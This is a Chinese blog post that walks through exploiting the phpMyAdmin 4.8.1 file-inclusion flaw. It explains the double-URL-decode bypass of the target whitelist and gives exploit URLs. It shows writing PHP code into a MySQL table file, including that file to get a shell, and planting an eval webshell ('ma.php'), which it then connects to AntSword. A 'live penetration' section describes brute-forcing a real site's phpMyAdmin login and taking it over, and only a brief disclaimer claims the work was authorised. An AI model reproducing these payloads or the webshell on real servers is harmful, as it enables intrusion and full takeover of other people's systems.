vlambda博客
学习文章列表

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

声明

本次实践是在合法授权情况下进行,数据已经全部加密,目的是提供思路交流学习,请勿用于任何非法活动,否则后果自负。


实战记录

信息收集

通过FOFA搜索带有phpMyAdmin 4.8.1的目标站点,目的是测试能否通过信息收集来获取被测站点,发现站点后获取相关版本信息。

本地复现安全问题

本地搭建4.8.1版本phpMyAdmin环境;

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

对代码进行升级,先寻找包含include 的函数,尝试寻找文件包含漏洞,发现/index.php文件下存在危险函数include $_REQUEST[‘target’]。

// If we have a valid target, let's load that script insteadif (! empty($_REQUEST['target']) //target传参不为0或null
    && is_string($_REQUEST['target']) //target传参必须为字符串
    && ! preg_match('/^index/', $_REQUEST['target'])//target传参不能是index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)//target传参不能在黑名单
    && Core::checkPageValidity($_REQUEST['target'])
) {    include $_REQUEST['target']; //这是突破口,但需要满足以上的条件
    exit;
}if (isset($_REQUEST['ajax_request']) && ! empty($_REQUEST['access_time'])) {    exit;
}

看出来,target传参需要满足以下条件,具体解析可以继续看下去

1,target传参不为0null;2,target传参必须为字符串;3,target传参不能是index开头;4,target传参不能在黑名单;    $target_blacklist = array (    'import.php', 'export.php');5,target传参要看Core::checkPageValidity($_REQUEST['target'])的返回结果,这里需要使用payload:server_binlog.php%3f/../1.php

继续定位Core::checkPageValidity($_REQUEST[‘target’]),逐个方法进行过滤排查,具体含义请看补充的代码备注;

    public static function checkPageValidity(&$page, array $whitelist = []) {        if (empty($whitelist)) {            $whitelist = self::$goto_whitelist; 
        }        if (! isset($page) || !is_string($page)) {            return false; //如果$page入参非字符串,就返回false,基本不太可能非字符串
        }        if (in_array($page, $whitelist)) {            return true; //如果$page在白名单的数组中就返回true
        }        $_page = mb_substr(      
            //自定义函数mb_substr()是返回字符串的一部分,举例echo mb_substr("菜鸟教程", 0, 2);后输出:菜鸟;一句话总结就是聪哪里切,切多长;
            $page,            0,
            mb_strpos($page . '?', '?')            //返回要查找的字符串在个别字符串中首次出现的位置,如果123123?1,那对应的位置就是6,其中使用问号来监测,是因为include中不能有?,否则会报错,因此代码写的还是考虑比较周全的。
        );        if (in_array($_page, $whitelist)) {            return true;
        }        $_page = urldecode($page);        $_page = mb_substr(            $_page,            0,
            mb_strpos($_page . '?', '?')
        );        if (in_array($_page, $whitelist)) {            return true;
        }        return false;
    }

如果$whitelist = self::$goto_whitelist; 显示,如果形参中没有$whitelist[],那就会在默认白名单中补齐;

 public static $goto_whitelist = array(        'db_datadict.php',        'db_sql.php',        'db_events.php',        'db_export.php',        'db_importdocsql.php',        'db_multi_table_query.php',        'db_structure.php',        'db_import.php',        'db_operations.php',        'db_search.php',        'db_routines.php',        'export.php',        'import.php',        'index.php',        'pdf_pages.php',        'pdf_schema.php',        'server_binlog.php',        'server_collations.php',        'server_databases.php',        'server_engines.php',        'server_export.php',        'server_import.php',        'server_privileges.php',        'server_sql.php',        'server_status.php',        'server_status_advisor.php',        'server_status_monitor.php',        'server_status_queries.php',        'server_status_variables.php',        'server_variables.php',        'sql.php',        'tbl_addfield.php',        'tbl_change.php',        'tbl_create.php',        'tbl_import.php',        'tbl_indexes.php',        'tbl_sql.php',        'tbl_export.php',        'tbl_operations.php',        'tbl_structure.php',        'tbl_relation.php',        'tbl_replace.php',        'tbl_row_action.php',        'tbl_select.php',        'tbl_zoom_select.php',        'transformation_overview.php',        'transformation_wrapper.php',        'user_password.php',
    );

前面的代码可以说是无懈可击,但问题出在了后面的$_page = urldecode($page),问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3f就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。

        $_page = urldecode($page);//问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3F就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。
        $_page = mb_substr(            $_page,            0,
            mb_strpos($_page . '?', '?')
        );        if (in_array($_page, $whitelist)) {            return true;
        }        return false;
    }

接下来在本地测试绕过思路,在主路径上配置2.php文件,通过包里破解进入phpmyadmin中,进行文件包含漏洞测试。

1,根据之前代码审计,拼接如下链接
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php?/../../2.php2,因为php框架会get请求解码一次,因此变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%3f/../../2.php3,因为代码中为了兼容性,还会再解码一次,因此再变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../2.php

请求后,发现读取包含文件成功!

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

那问题来了,那如果对远程服务器来说,在不上传新文件的情况下,如何能getshell呢,在mysql中发现,每一个表都是对应一个文件,在字段值里面写shell不就等于是在文件中写shell么。。。因此进一步确认;

在phpmyadmin中写shell,然后在文件路径中发现保存成功;


【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

然后通过文件包含的路径去访问,发现getshell成功~!但无法通过蚂剑进行链接,因为需要cookie,所以思路转变为想办法写马,来生成新的文件;

先查下路径
SELECT @@basedir 

然后访问校验
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../../mysql/data/ab.frm&8=phpinfo();

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

线上渗透

通过phpmyadmin的爆破工具进入后台(网上很多这方面工具),然后一样流程写shell;

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

通过路径访问,发现getshell成功;


http:/XXXXXX//phpmyadmin/index.php?target=server_binlog.php%253f/../../../../../../../../XXXX/MySql/data/1_18/abc.frm&8=phpinfo();

然后进行写文件马成功;

file_put_contents('ma.php','<?php @eval($_REQUEST[8])?>')

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

验证写马成功

【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)

连接蚂剑,愉快的webshell走起

总结